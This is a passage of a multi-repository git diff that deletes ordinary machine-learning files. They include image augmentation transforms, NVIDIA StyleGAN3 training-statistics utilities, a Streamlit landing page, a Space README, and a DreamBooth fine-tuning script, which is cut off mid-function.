results[label_key][valid_inds] - # mask fields, e.g. gt_masks and gt_masks_ignore - mask_key = bbox2mask.get(key) - if mask_key in results: - results[mask_key] = results[mask_key][valid_inds] - return results - - def __call__(self, results): - """Call function to translate images, bounding boxes, masks and - semantic segmentation maps. - - Args: - results (dict): Result dict from loading pipeline. - - Returns: - dict: Translated results. - """ - if np.random.rand() > self.prob: - return results - offset = random_negative(self.offset, self.random_negative_prob) - self._translate_img(results, offset, self.direction) - self._translate_bboxes(results, offset) - # fill_val defaultly 0 for BitmapMasks and None for PolygonMasks. - self._translate_masks(results, offset, self.direction) - # fill_val set to ``seg_ignore_label`` for the ignored value - # of segmentation map. - self._translate_seg( - results, offset, self.direction, fill_val=self.seg_ignore_label) - self._filter_invalid(results, min_size=self.min_size) - return results - - -@PIPELINES.register_module() -class ColorTransform: - """Apply Color transformation to image. The bboxes, masks, and - segmentations are not modified. - - Args: - level (int | float): Should be in range [0,_MAX_LEVEL]. - prob (float): The probability for performing Color transformation. - """ - - def __init__(self, level, prob=0.5): - assert isinstance(level, (int, float)), \ - 'The level must be type int or float.' - assert 0 <= level <= _MAX_LEVEL, \ - 'The level should be in range [0,_MAX_LEVEL].' - assert 0 <= prob <= 1.0, \ - 'The probability should be in range [0,1].' - self.level = level - self.prob = prob - self.factor = enhance_level_to_value(level) - - def _adjust_color_img(self, results, factor=1.0): - """Apply Color transformation to image.""" - for key in results.get('img_fields', ['img']): - # NOTE defaultly the image should be BGR format - img = results[key] - results[key] = mmcv.adjust_color(img, factor).astype(img.dtype) - - def __call__(self, results): - """Call function for Color transformation. - - Args: - results (dict): Result dict from loading pipeline. - - Returns: - dict: Colored results. - """ - if np.random.rand() > self.prob: - return results - self._adjust_color_img(results, self.factor) - return results - - def __repr__(self): - repr_str = self.__class__.__name__ - repr_str += f'(level={self.level}, ' - repr_str += f'prob={self.prob})' - return repr_str - - -@PIPELINES.register_module() -class EqualizeTransform: - """Apply Equalize transformation to image. The bboxes, masks and - segmentations are not modified. - - Args: - prob (float): The probability for performing Equalize transformation. - """ - - def __init__(self, prob=0.5): - assert 0 <= prob <= 1.0, \ - 'The probability should be in range [0,1].' - self.prob = prob - - def _imequalize(self, results): - """Equalizes the histogram of one image.""" - for key in results.get('img_fields', ['img']): - img = results[key] - results[key] = mmcv.imequalize(img).astype(img.dtype) - - def __call__(self, results): - """Call function for Equalize transformation. - - Args: - results (dict): Results dict from loading pipeline. - - Returns: - dict: Results after the transformation. - """ - if np.random.rand() > self.prob: - return results - self._imequalize(results) - return results - - def __repr__(self): - repr_str = self.__class__.__name__ - repr_str += f'(prob={self.prob})' - - -@PIPELINES.register_module() -class BrightnessTransform: - """Apply Brightness transformation to image. The bboxes, masks and - segmentations are not modified. - - Args: - level (int | float): Should be in range [0,_MAX_LEVEL]. - prob (float): The probability for performing Brightness transformation. - """ - - def __init__(self, level, prob=0.5): - assert isinstance(level, (int, float)), \ - 'The level must be type int or float.' - assert 0 <= level <= _MAX_LEVEL, \ - 'The level should be in range [0,_MAX_LEVEL].' - assert 0 <= prob <= 1.0, \ - 'The probability should be in range [0,1].' - self.level = level - self.prob = prob - self.factor = enhance_level_to_value(level) - - def _adjust_brightness_img(self, results, factor=1.0): - """Adjust the brightness of image.""" - for key in results.get('img_fields', ['img']): - img = results[key] - results[key] = mmcv.adjust_brightness(img, - factor).astype(img.dtype) - - def __call__(self, results): - """Call function for Brightness transformation. - - Args: - results (dict): Results dict from loading pipeline. - - Returns: - dict: Results after the transformation. - """ - if np.random.rand() > self.prob: - return results - self._adjust_brightness_img(results, self.factor) - return results - - def __repr__(self): - repr_str = self.__class__.__name__ - repr_str += f'(level={self.level}, ' - repr_str += f'prob={self.prob})' - return repr_str - - -@PIPELINES.register_module() -class ContrastTransform: - """Apply Contrast transformation to image. The bboxes, masks and - segmentations are not modified. - - Args: - level (int | float): Should be in range [0,_MAX_LEVEL]. - prob (float): The probability for performing Contrast transformation. - """ - - def __init__(self, level, prob=0.5): - assert isinstance(level, (int, float)), \ - 'The level must be type int or float.' - assert 0 <= level <= _MAX_LEVEL, \ - 'The level should be in range [0,_MAX_LEVEL].' - assert 0 <= prob <= 1.0, \ - 'The probability should be in range [0,1].' - self.level = level - self.prob = prob - self.factor = enhance_level_to_value(level) - - def _adjust_contrast_img(self, results, factor=1.0): - """Adjust the image contrast.""" - for key in results.get('img_fields', ['img']): - img = results[key] - results[key] = mmcv.adjust_contrast(img, factor).astype(img.dtype) - - def __call__(self, results): - """Call function for Contrast transformation. - - Args: - results (dict): Results dict from loading pipeline. - - Returns: - dict: Results after the transformation. - """ - if np.random.rand() > self.prob: - return results - self._adjust_contrast_img(results, self.factor) - return results - - def __repr__(self): - repr_str = self.__class__.__name__ - repr_str += f'(level={self.level}, ' - repr_str += f'prob={self.prob})' - return repr_str diff --git a/spaces/rorallitri/biomedical-language-models/logs/Fundamentos De Marketing 6ta Edicion Philip Kotler.md b/spaces/rorallitri/biomedical-language-models/logs/Fundamentos De Marketing 6ta Edicion Philip Kotler.md deleted file mode 100644 index d4061a3201adb836941bc3a55487cae7c70485db..0000000000000000000000000000000000000000 --- a/spaces/rorallitri/biomedical-language-models/logs/Fundamentos De Marketing 6ta Edicion Philip Kotler.md +++ /dev/null @@ -1,6 +0,0 @@ -

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            \ No newline at end of file diff --git a/spaces/rossellison/kpop-face-generator/stylegan3-fun/torch_utils/training_stats.py b/spaces/rossellison/kpop-face-generator/stylegan3-fun/torch_utils/training_stats.py deleted file mode 100644 index 5de4134f1943e7c3104bbc926b2abaf828626525..0000000000000000000000000000000000000000 --- a/spaces/rossellison/kpop-face-generator/stylegan3-fun/torch_utils/training_stats.py +++ /dev/null @@ -1,268 +0,0 @@ -# Copyright (c) 2021, NVIDIA CORPORATION & AFFILIATES. All rights reserved. -# -# NVIDIA CORPORATION and its licensors retain all intellectual property -# and proprietary rights in and to this software, related documentation -# and any modifications thereto. Any use, reproduction, disclosure or -# distribution of this software and related documentation without an express -# license agreement from NVIDIA CORPORATION is strictly prohibited. - -"""Facilities for reporting and collecting training statistics across -multiple processes and devices. The interface is designed to minimize -synchronization overhead as well as the amount of boilerplate in user -code.""" - -import re -import numpy as np -import torch -import dnnlib - -from . import misc - -#---------------------------------------------------------------------------- - -_num_moments = 3 # [num_scalars, sum_of_scalars, sum_of_squares] -_reduce_dtype = torch.float32 # Data type to use for initial per-tensor reduction. -_counter_dtype = torch.float64 # Data type to use for the internal counters. -_rank = 0 # Rank of the current process. -_sync_device = None # Device to use for multiprocess communication. None = single-process. -_sync_called = False # Has _sync() been called yet? -_counters = dict() # Running counters on each device, updated by report(): name => device => torch.Tensor -_cumulative = dict() # Cumulative counters on the CPU, updated by _sync(): name => torch.Tensor - -#---------------------------------------------------------------------------- - -def init_multiprocessing(rank, sync_device): - r"""Initializes `torch_utils.training_stats` for collecting statistics - across multiple processes. - - This function must be called after - `torch.distributed.init_process_group()` and before `Collector.update()`. - The call is not necessary if multi-process collection is not needed. - - Args: - rank: Rank of the current process. - sync_device: PyTorch device to use for inter-process - communication, or None to disable multi-process - collection. Typically `torch.device('cuda', rank)`. - """ - global _rank, _sync_device - assert not _sync_called - _rank = rank - _sync_device = sync_device - -#---------------------------------------------------------------------------- - -@misc.profiled_function -def report(name, value): - r"""Broadcasts the given set of scalars to all interested instances of - `Collector`, across device and process boundaries. - - This function is expected to be extremely cheap and can be safely - called from anywhere in the training loop, loss function, or inside a - `torch.nn.Module`. - - Warning: The current implementation expects the set of unique names to - be consistent across processes. Please make sure that `report()` is - called at least once for each unique name by each process, and in the - same order. If a given process has no scalars to broadcast, it can do - `report(name, [])` (empty list). - - Args: - name: Arbitrary string specifying the name of the statistic. - Averages are accumulated separately for each unique name. - value: Arbitrary set of scalars. Can be a list, tuple, - NumPy array, PyTorch tensor, or Python scalar. - - Returns: - The same `value` that was passed in. - """ - if name not in _counters: - _counters[name] = dict() - - elems = torch.as_tensor(value) - if elems.numel() == 0: - return value - - elems = elems.detach().flatten().to(_reduce_dtype) - moments = torch.stack([ - torch.ones_like(elems).sum(), - elems.sum(), - elems.square().sum(), - ]) - assert moments.ndim == 1 and moments.shape[0] == _num_moments - moments = moments.to(_counter_dtype) - - device = moments.device - if device not in _counters[name]: - _counters[name][device] = torch.zeros_like(moments) - _counters[name][device].add_(moments) - return value - -#---------------------------------------------------------------------------- - -def report0(name, value): - r"""Broadcasts the given set of scalars by the first process (`rank = 0`), - but ignores any scalars provided by the other processes. - See `report()` for further details. - """ - report(name, value if _rank == 0 else []) - return value - -#---------------------------------------------------------------------------- - -class Collector: - r"""Collects the scalars broadcasted by `report()` and `report0()` and - computes their long-term averages (mean and standard deviation) over - user-defined periods of time. - - The averages are first collected into internal counters that are not - directly visible to the user. They are then copied to the user-visible - state as a result of calling `update()` and can then be queried using - `mean()`, `std()`, `as_dict()`, etc. Calling `update()` also resets the - internal counters for the next round, so that the user-visible state - effectively reflects averages collected between the last two calls to - `update()`. - - Args: - regex: Regular expression defining which statistics to - collect. The default is to collect everything. - keep_previous: Whether to retain the previous averages if no - scalars were collected on a given round - (default: True). - """ - def __init__(self, regex='.*', keep_previous=True): - self._regex = re.compile(regex) - self._keep_previous = keep_previous - self._cumulative = dict() - self._moments = dict() - self.update() - self._moments.clear() - - def names(self): - r"""Returns the names of all statistics broadcasted so far that - match the regular expression specified at construction time. - """ - return [name for name in _counters if self._regex.fullmatch(name)] - - def update(self): - r"""Copies current values of the internal counters to the - user-visible state and resets them for the next round. - - If `keep_previous=True` was specified at construction time, the - operation is skipped for statistics that have received no scalars - since the last update, retaining their previous averages. - - This method performs a number of GPU-to-CPU transfers and one - `torch.distributed.all_reduce()`. It is intended to be called - periodically in the main training loop, typically once every - N training steps. - """ - if not self._keep_previous: - self._moments.clear() - for name, cumulative in _sync(self.names()): - if name not in self._cumulative: - self._cumulative[name] = torch.zeros([_num_moments], dtype=_counter_dtype) - delta = cumulative - self._cumulative[name] - self._cumulative[name].copy_(cumulative) - if float(delta[0]) != 0: - self._moments[name] = delta - - def _get_delta(self, name): - r"""Returns the raw moments that were accumulated for the given - statistic between the last two calls to `update()`, or zero if - no scalars were collected. - """ - assert self._regex.fullmatch(name) - if name not in self._moments: - self._moments[name] = torch.zeros([_num_moments], dtype=_counter_dtype) - return self._moments[name] - - def num(self, name): - r"""Returns the number of scalars that were accumulated for the given - statistic between the last two calls to `update()`, or zero if - no scalars were collected. - """ - delta = self._get_delta(name) - return int(delta[0]) - - def mean(self, name): - r"""Returns the mean of the scalars that were accumulated for the - given statistic between the last two calls to `update()`, or NaN if - no scalars were collected. - """ - delta = self._get_delta(name) - if int(delta[0]) == 0: - return float('nan') - return float(delta[1] / delta[0]) - - def std(self, name): - r"""Returns the standard deviation of the scalars that were - accumulated for the given statistic between the last two calls to - `update()`, or NaN if no scalars were collected. - """ - delta = self._get_delta(name) - if int(delta[0]) == 0 or not np.isfinite(float(delta[1])): - return float('nan') - if int(delta[0]) == 1: - return float(0) - mean = float(delta[1] / delta[0]) - raw_var = float(delta[2] / delta[0]) - return np.sqrt(max(raw_var - np.square(mean), 0)) - - def as_dict(self): - r"""Returns the averages accumulated between the last two calls to - `update()` as an `dnnlib.EasyDict`. The contents are as follows: - - dnnlib.EasyDict( - NAME = dnnlib.EasyDict(num=FLOAT, mean=FLOAT, std=FLOAT), - ... - ) - """ - stats = dnnlib.EasyDict() - for name in self.names(): - stats[name] = dnnlib.EasyDict(num=self.num(name), mean=self.mean(name), std=self.std(name)) - return stats - - def __getitem__(self, name): - r"""Convenience getter. - `collector[name]` is a synonym for `collector.mean(name)`. - """ - return self.mean(name) - -#---------------------------------------------------------------------------- - -def _sync(names): - r"""Synchronize the global cumulative counters across devices and - processes. Called internally by `Collector.update()`. - """ - if len(names) == 0: - return [] - global _sync_called - _sync_called = True - - # Collect deltas within current rank. - deltas = [] - device = _sync_device if _sync_device is not None else torch.device('cpu') - for name in names: - delta = torch.zeros([_num_moments], dtype=_counter_dtype, device=device) - for counter in _counters[name].values(): - delta.add_(counter.to(device)) - counter.copy_(torch.zeros_like(counter)) - deltas.append(delta) - deltas = torch.stack(deltas) - - # Sum deltas across ranks. - if _sync_device is not None: - torch.distributed.all_reduce(deltas) - - # Update cumulative values. - deltas = deltas.cpu() - for idx, name in enumerate(names): - if name not in _cumulative: - _cumulative[name] = torch.zeros([_num_moments], dtype=_counter_dtype) - _cumulative[name].add_(deltas[idx]) - - # Return name-value pairs. - return [(name, _cumulative[name]) for name in names] - -#---------------------------------------------------------------------------- diff --git a/spaces/ryansilk/quantycs/StreamLit/1_Home.py b/spaces/ryansilk/quantycs/StreamLit/1_Home.py deleted file mode 100644 index bff4eb9f6f32c57fcb31ed88bfd653e72ef11df2..0000000000000000000000000000000000000000 --- a/spaces/ryansilk/quantycs/StreamLit/1_Home.py +++ /dev/null @@ -1,15 +0,0 @@ -import streamlit as st -import streamlit_authenticator as stauth - -st.set_page_config( - page_title="Multipage App", - page_icon="👋", -) - -st.title("Main Page") -st.sidebar.success("Select Stock Data Below") - -st.text('Welcome to the Quantycs WebApp') - -st.text('We appreciate all feedback. Please head over to the contact us page and fill out the ') -st.text('form to provide your feedback! We look forward to hearing from you!') diff --git a/spaces/sandy9808/EleutherAI-gpt-j-6B/README.md b/spaces/sandy9808/EleutherAI-gpt-j-6B/README.md deleted file mode 100644 index 4b5a186f508a2b4190ef87922134c0b96f621fba..0000000000000000000000000000000000000000 --- a/spaces/sandy9808/EleutherAI-gpt-j-6B/README.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: EleutherAI Gpt J 6B -emoji: 🚀 -colorFrom: red -colorTo: green -sdk: gradio -sdk_version: 3.18.0 -app_file: app.py -pinned: false ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/scedlatioru/img-to-music/example/Paragon Migrate OS To SSD 5.0 V10.1.28.154 64 Bit.md b/spaces/scedlatioru/img-to-music/example/Paragon Migrate OS To SSD 5.0 V10.1.28.154 64 Bit.md deleted file mode 100644 index 1a43c5b01cc97da1e03b8bf0004e176585e0e2a8..0000000000000000000000000000000000000000 --- a/spaces/scedlatioru/img-to-music/example/Paragon Migrate OS To SSD 5.0 V10.1.28.154 64 Bit.md +++ /dev/null @@ -1,6 +0,0 @@ -

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            diff --git a/spaces/sd-dreambooth-library/Baysa110/train_dreambooth.py b/spaces/sd-dreambooth-library/Baysa110/train_dreambooth.py deleted file mode 100644 index f4ff135e549f0d6c72f733092f3df817cb178e01..0000000000000000000000000000000000000000 --- a/spaces/sd-dreambooth-library/Baysa110/train_dreambooth.py +++ /dev/null @@ -1,889 +0,0 @@ -import argparse -import itertools -import math -import os -from pathlib import Path -from typing import Optional -import subprocess -import sys -import gc -import random - -import torch -import torch.nn.functional as F -import torch.utils.checkpoint -from torch.utils.data import Dataset - -from accelerate import Accelerator -from accelerate.logging import get_logger -from accelerate.utils import set_seed -from diffusers import AutoencoderKL, DDPMScheduler, StableDiffusionPipeline, UNet2DConditionModel -from diffusers.utils.import_utils import is_xformers_available -from diffusers.optimization import get_scheduler -from huggingface_hub import HfFolder, Repository, whoami -from PIL import Image -from torchvision import transforms -from tqdm.auto import tqdm -from transformers import CLIPTextModel, CLIPTokenizer - - -logger = get_logger(__name__) - - -def parse_args(): - parser = argparse.ArgumentParser(description="Simple example of a training script.") - parser.add_argument( - "--pretrained_model_name_or_path", - type=str, - default=None, - #required=True, - help="Path to pretrained model or model identifier from huggingface.co/models.", - ) - parser.add_argument( - "--tokenizer_name", - type=str, - default=None, - help="Pretrained tokenizer name or path if not the same as model_name", - ) - parser.add_argument( - "--instance_data_dir", - type=str, - default=None, - #required=True, - help="A folder containing the training data of instance images.", - ) - parser.add_argument( - "--class_data_dir", - type=str, - default=None, - #required=False, - help="A folder containing the training data of class images.", - ) - parser.add_argument( - "--instance_prompt", - type=str, - default=None, - help="The prompt with identifier specifying the instance", - ) - parser.add_argument( - "--class_prompt", - type=str, - default="", - help="The prompt to specify images in the same class as provided instance images.", - ) - parser.add_argument( - "--with_prior_preservation", - default=False, - action="store_true", - help="Flag to add prior preservation loss.", - ) - parser.add_argument("--prior_loss_weight", type=float, default=1.0, help="The weight of prior preservation loss.") - parser.add_argument( - "--num_class_images", - type=int, - default=100, - help=( - "Minimal class images for prior preservation loss. If not have enough images, additional images will be" - " sampled with class_prompt." - ), - ) - parser.add_argument( - "--output_dir", - type=str, - default="", - help="The output directory where the model predictions and checkpoints will be written.", - ) - parser.add_argument("--seed", type=int, default=None, help="A seed for reproducible training.") - parser.add_argument( - "--resolution", - type=int, - default=512, - help=( - "The resolution for input images, all the images in the train/validation dataset will be resized to this" - " resolution" - ), - ) - parser.add_argument( - "--center_crop", action="store_true", help="Whether to center crop images before resizing to resolution" - ) - parser.add_argument("--train_text_encoder", action="store_true", help="Whether to train the text encoder") - parser.add_argument( - "--train_batch_size", type=int, default=4, help="Batch size (per device) for the training dataloader." - ) - parser.add_argument( - "--sample_batch_size", type=int, default=4, help="Batch size (per device) for sampling images." - ) - parser.add_argument("--num_train_epochs", type=int, default=1) - parser.add_argument( - "--max_train_steps", - type=int, - default=None, - help="Total number of training steps to perform. If provided, overrides num_train_epochs.", - ) - parser.add_argument( - "--gradient_accumulation_steps", - type=int, - default=1, - help="Number of updates steps to accumulate before performing a backward/update pass.", - ) - parser.add_argument( - "--gradient_checkpointing", - action="store_true", - help="Whether or not to use gradient checkpointing to save memory at the expense of slower backward pass.", - ) - parser.add_argument( - "--learning_rate", - type=float, - default=5e-6, - help="Initial learning rate (after the potential warmup period) to use.", - ) - parser.add_argument( - "--scale_lr", - action="store_true", - default=False, - help="Scale the learning rate by the number of GPUs, gradient accumulation steps, and batch size.", - ) - parser.add_argument( - "--lr_scheduler", - type=str, - default="constant", - help=( - 'The scheduler type to use. Choose between ["linear", "cosine", "cosine_with_restarts", "polynomial",' - ' "constant", "constant_with_warmup"]' - ), - ) - parser.add_argument( - "--lr_warmup_steps", type=int, default=500, help="Number of steps for the warmup in the lr scheduler." - ) - parser.add_argument( - "--use_8bit_adam", action="store_true", help="Whether or not to use 8-bit Adam from bitsandbytes." - ) - parser.add_argument("--adam_beta1", type=float, default=0.9, help="The beta1 parameter for the Adam optimizer.") - parser.add_argument("--adam_beta2", type=float, default=0.999, help="The beta2 parameter for the Adam optimizer.") - parser.add_argument("--adam_weight_decay", type=float, default=1e-2, help="Weight decay to use.") - parser.add_argument("--adam_epsilon", type=float, default=1e-08, help="Epsilon value for the Adam optimizer") - parser.add_argument("--max_grad_norm", default=1.0, type=float, help="Max gradient norm.") - parser.add_argument("--push_to_hub", action="store_true", help="Whether or not to push the model to the Hub.") - parser.add_argument("--hub_token", type=str, default=None, help="The token to use to push to the Model Hub.") - parser.add_argument( - "--hub_model_id", - type=str, - default=None, - help="The name of the repository to keep in sync with the local `output_dir`.", - ) - parser.add_argument( - "--logging_dir", - type=str, - default="logs", - help=( - "[TensorBoard](https://www.tensorflow.org/tensorboard) log directory. Will default to" - " *output_dir/runs/**CURRENT_DATETIME_HOSTNAME***." - ), - ) - parser.add_argument( - "--mixed_precision", - type=str, - default="no", - choices=["no", "fp16", "bf16"], - help=( - "Whether to use mixed precision. Choose" - "between fp16 and bf16 (bfloat16). Bf16 requires PyTorch >= 1.10." - "and an Nvidia Ampere GPU." - ), - ) - - parser.add_argument( - "--save_n_steps", - type=int, - default=1, - help=("Save the model every n global_steps"), - ) - - - parser.add_argument( - "--save_starting_step", - type=int, - default=1, - help=("The step from which it starts saving intermediary checkpoints"), - ) - - parser.add_argument( - "--stop_text_encoder_training", - type=int, - default=1000000, - help=("The step at which the text_encoder is no longer trained"), - ) - - - parser.add_argument( - "--image_captions_filename", - action="store_true", - help="Get captions from filename", - ) - - - parser.add_argument( - "--dump_only_text_encoder", - action="store_true", - default=False, - help="Dump only text encoder", - ) - - parser.add_argument( - "--train_only_unet", - action="store_true", - default=False, - help="Train only the unet", - ) - - parser.add_argument( - "--cache_latents", - action="store_true", - default=False, - help="Train only the unet", - ) - - parser.add_argument( - "--Session_dir", - type=str, - default="", - help="Current session directory", - ) - - - - - parser.add_argument("--local_rank", type=int, default=-1, help="For distributed training: local_rank") - - args = parser.parse_args() - env_local_rank = int(os.environ.get("LOCAL_RANK", -1)) - if env_local_rank != -1 and env_local_rank != args.local_rank: - args.local_rank = env_local_rank - - #if args.instance_data_dir is None: - # raise ValueError("You must specify a train data directory.") - - #if args.with_prior_preservation: - # if args.class_data_dir is None: - # raise ValueError("You must specify a data directory for class images.") - # if args.class_prompt is None: - # raise ValueError("You must specify prompt for class images.") - - return args - - -class DreamBoothDataset(Dataset): - """ - A dataset to prepare the instance and class images with the prompts for fine-tuning the model. - It pre-processes the images and the tokenizes prompts. - """ - - def __init__( - self, - instance_data_root, - instance_prompt, - tokenizer, - args, - class_data_root=None, - class_prompt=None, - size=512, - center_crop=False, - ): - self.size = size - self.center_crop = center_crop - self.tokenizer = tokenizer - self.image_captions_filename = None - - self.instance_data_root = Path(instance_data_root) - if not self.instance_data_root.exists(): - raise ValueError("Instance images root doesn't exists.") - - self.instance_images_path = list(Path(instance_data_root).iterdir()) - self.num_instance_images = len(self.instance_images_path) - self.instance_prompt = instance_prompt - self._length = self.num_instance_images - - if args.image_captions_filename: - self.image_captions_filename = True - - if class_data_root is not None: - self.class_data_root = Path(class_data_root) - self.class_data_root.mkdir(parents=True, exist_ok=True) - self.class_images_path = list(self.class_data_root.iterdir()) - random.shuffle(self.class_images_path) - self.num_class_images = len(self.class_images_path) - self._length = max(self.num_class_images, self.num_instance_images) - self.class_prompt = class_prompt - else: - self.class_data_root = None - - self.image_transforms = transforms.Compose( - [ - transforms.Resize(size, interpolation=transforms.InterpolationMode.BILINEAR), - transforms.CenterCrop(size) if center_crop else transforms.RandomCrop(size), - transforms.ToTensor(), - transforms.Normalize([0.5], [0.5]), - ] - ) - - def __len__(self): - return self._length - - def __getitem__(self, index): - example = {} - path = self.instance_images_path[index % self.num_instance_images] - instance_image = Image.open(path) - if not instance_image.mode == "RGB": - instance_image = instance_image.convert("RGB") - - instance_prompt = self.instance_prompt - - if self.image_captions_filename: - filename = Path(path).stem - pt=''.join([i for i in filename if not i.isdigit()]) - pt=pt.replace("_"," ") - pt=pt.replace("(","") - pt=pt.replace(")","") - pt=pt.replace("-","") - instance_prompt = pt - sys.stdout.write(" " +instance_prompt+" ") - sys.stdout.flush() - - - example["instance_images"] = self.image_transforms(instance_image) - example["instance_prompt_ids"] = self.tokenizer( - instance_prompt, - padding="do_not_pad", - truncation=True, - max_length=self.tokenizer.model_max_length, - ).input_ids - - if self.class_data_root: - class_image = Image.open(self.class_images_path[index % self.num_class_images]) - if not class_image.mode == "RGB": - class_image = class_image.convert("RGB") - example["class_images"] = self.image_transforms(class_image) - example["class_prompt_ids"] = self.tokenizer( - self.class_prompt, - padding="do_not_pad", - truncation=True, - max_length=self.tokenizer.model_max_length, - ).input_ids - - return example - - - -class PromptDataset(Dataset): - "A simple dataset to prepare the prompts to generate class images on multiple GPUs." - - def __init__(self, prompt, num_samples): - self.prompt = prompt - self.num_samples = num_samples - - def __len__(self): - return self.num_samples - - def __getitem__(self, index): - example = {} - example["prompt"] = self.prompt - example["index"] = index - return example - -class LatentsDataset(Dataset): - def __init__(self, latents_cache, text_encoder_cache): - self.latents_cache = latents_cache - self.text_encoder_cache = text_encoder_cache - - def __len__(self): - return len(self.latents_cache) - - def __getitem__(self, index): - return self.latents_cache[index], self.text_encoder_cache[index] - -def get_full_repo_name(model_id: str, organization: Optional[str] = None, token: Optional[str] = None): - if token is None: - token = HfFolder.get_token() - if organization is None: - username = whoami(token)["name"] - return f"{username}/{model_id}" - else: - return f"{organization}/{model_id}" - -def merge_two_dicts(starting_dict: dict, updater_dict: dict) -> dict: - """ - Starts from base starting dict and then adds the remaining key values from updater replacing the values from - the first starting/base dict with the second updater dict. - - For later: how does d = {**d1, **d2} replace collision? - - :param starting_dict: - :param updater_dict: - :return: - """ - new_dict: dict = starting_dict.copy() # start with keys and values of starting_dict - new_dict.update(updater_dict) # modifies starting_dict with keys and values of updater_dict - return new_dict - -def merge_args(args1: argparse.Namespace, args2: argparse.Namespace) -> argparse.Namespace: - """ - - ref: https://stackoverflow.com/questions/56136549/how-can-i-merge-two-argparse-namespaces-in-python-2-x - :param args1: - :param args2: - :return: - """ - # - the merged args - # The vars() function returns the __dict__ attribute to values of the given object e.g {field:value}. - merged_key_values_for_namespace: dict = merge_two_dicts(vars(args1), vars(args2)) - args = argparse.Namespace(**merged_key_values_for_namespace) - return args - -def run_training(args_imported): - args_default = parse_args() - args = merge_args(args_default, args_imported) - print(args) - logging_dir = Path(args.output_dir, args.logging_dir) - i=args.save_starting_step - accelerator = Accelerator( - gradient_accumulation_steps=args.gradient_accumulation_steps, - mixed_precision=args.mixed_precision, - log_with="tensorboard", - logging_dir=logging_dir, - ) - - # Currently, it's not possible to do gradient accumulation when training two models with accelerate.accumulate - # This will be enabled soon in accelerate. For now, we don't allow gradient accumulation when training two models. - # TODO (patil-suraj): Remove this check when gradient accumulation with two models is enabled in accelerate. - if args.train_text_encoder and args.gradient_accumulation_steps > 1 and accelerator.num_processes > 1: - raise ValueError( - "Gradient accumulation is not supported when training the text encoder in distributed training. " - "Please set gradient_accumulation_steps to 1. This feature will be supported in the future." - ) - - if args.seed is not None: - set_seed(args.seed) - - if args.with_prior_preservation: - class_images_dir = Path(args.class_data_dir) - if not class_images_dir.exists(): - class_images_dir.mkdir(parents=True) - cur_class_images = len(list(class_images_dir.iterdir())) - - if cur_class_images < args.num_class_images: - torch_dtype = torch.float16 if accelerator.device.type == "cuda" else torch.float32 - pipeline = StableDiffusionPipeline.from_pretrained( - args.pretrained_model_name_or_path, torch_dtype=torch_dtype - ) - pipeline.set_progress_bar_config(disable=True) - - num_new_images = args.num_class_images - cur_class_images - logger.info(f"Number of class images to sample: {num_new_images}.") - - sample_dataset = PromptDataset(args.class_prompt, num_new_images) - sample_dataloader = torch.utils.data.DataLoader(sample_dataset, batch_size=args.sample_batch_size) - - sample_dataloader = accelerator.prepare(sample_dataloader) - pipeline.to(accelerator.device) - - for example in tqdm( - sample_dataloader, desc="Generating class images", disable=not accelerator.is_local_main_process - ): - with torch.autocast("cuda"): - images = pipeline(example["prompt"]).images - - for i, image in enumerate(images): - image.save(class_images_dir / f"{example['index'][i] + cur_class_images}.jpg") - - del pipeline - if torch.cuda.is_available(): - torch.cuda.empty_cache() - - # Handle the repository creation - if accelerator.is_main_process: - if args.push_to_hub: - if args.hub_model_id is None: - repo_name = get_full_repo_name(Path(args.output_dir).name, token=args.hub_token) - else: - repo_name = args.hub_model_id - repo = Repository(args.output_dir, clone_from=repo_name) - - with open(os.path.join(args.output_dir, ".gitignore"), "w+") as gitignore: - if "step_*" not in gitignore: - gitignore.write("step_*\n") - if "epoch_*" not in gitignore: - gitignore.write("epoch_*\n") - elif args.output_dir is not None: - os.makedirs(args.output_dir, exist_ok=True) - - # Load the tokenizer - if args.tokenizer_name: - tokenizer = CLIPTokenizer.from_pretrained(args.tokenizer_name) - elif args.pretrained_model_name_or_path: - tokenizer = CLIPTokenizer.from_pretrained(args.pretrained_model_name_or_path, subfolder="tokenizer") - - # Load models and create wrapper for stable diffusion - if args.train_only_unet: - if os.path.exists(str(args.output_dir+"/text_encoder_trained")): - text_encoder = CLIPTextModel.from_pretrained(args.output_dir, subfolder="text_encoder_trained") - elif os.path.exists(str(args.output_dir+"/text_encoder")): - text_encoder = CLIPTextModel.from_pretrained(args.output_dir, subfolder="text_encoder") - else: - text_encoder = CLIPTextModel.from_pretrained(args.pretrained_model_name_or_path, subfolder="text_encoder") - else: - text_encoder = CLIPTextModel.from_pretrained(args.pretrained_model_name_or_path, subfolder="text_encoder") - vae = AutoencoderKL.from_pretrained(args.pretrained_model_name_or_path, subfolder="vae") - unet = UNet2DConditionModel.from_pretrained(args.pretrained_model_name_or_path, subfolder="unet") - if is_xformers_available(): - try: - print("Enabling memory efficient attention with xformers...") - unet.enable_xformers_memory_efficient_attention() - except Exception as e: - logger.warning( - f"Could not enable memory efficient attention. Make sure xformers is installed correctly and a GPU is available: {e}" - ) - vae.requires_grad_(False) - if not args.train_text_encoder: - text_encoder.requires_grad_(False) - - if args.gradient_checkpointing: - unet.enable_gradient_checkpointing() - if args.train_text_encoder: - text_encoder.gradient_checkpointing_enable() - - if args.scale_lr: - args.learning_rate = ( - args.learning_rate * args.gradient_accumulation_steps * args.train_batch_size * accelerator.num_processes - ) - - # Use 8-bit Adam for lower memory usage or to fine-tune the model in 16GB GPUs - if args.use_8bit_adam: - try: - import bitsandbytes as bnb - except ImportError: - raise ImportError( - "To use 8-bit Adam, please install the bitsandbytes library: `pip install bitsandbytes`." - ) - - optimizer_class = bnb.optim.AdamW8bit - else: - optimizer_class = torch.optim.AdamW - - params_to_optimize = ( - itertools.chain(unet.parameters(), text_encoder.parameters()) if args.train_text_encoder else unet.parameters() - ) - optimizer = optimizer_class( - params_to_optimize, - lr=args.learning_rate, - betas=(args.adam_beta1, args.adam_beta2), - weight_decay=args.adam_weight_decay, - eps=args.adam_epsilon, - ) - - noise_scheduler = DDPMScheduler.from_config(args.pretrained_model_name_or_path, subfolder="scheduler") - - train_dataset = DreamBoothDataset( - instance_data_root=args.instance_data_dir, - instance_prompt=args.instance_prompt, - class_data_root=args.class_data_dir if args.with_prior_preservation else None, - class_prompt=args.class_prompt, - tokenizer=tokenizer, - size=args.resolution, - center_crop=args.center_crop, - args=args, - ) - - def collate_fn(examples): - input_ids = [example["instance_prompt_ids"] for example in examples] - pixel_values = [example["instance_images"] for example in examples] - - # Concat class and instance examples for prior preservation. - # We do this to avoid doing two forward passes. - 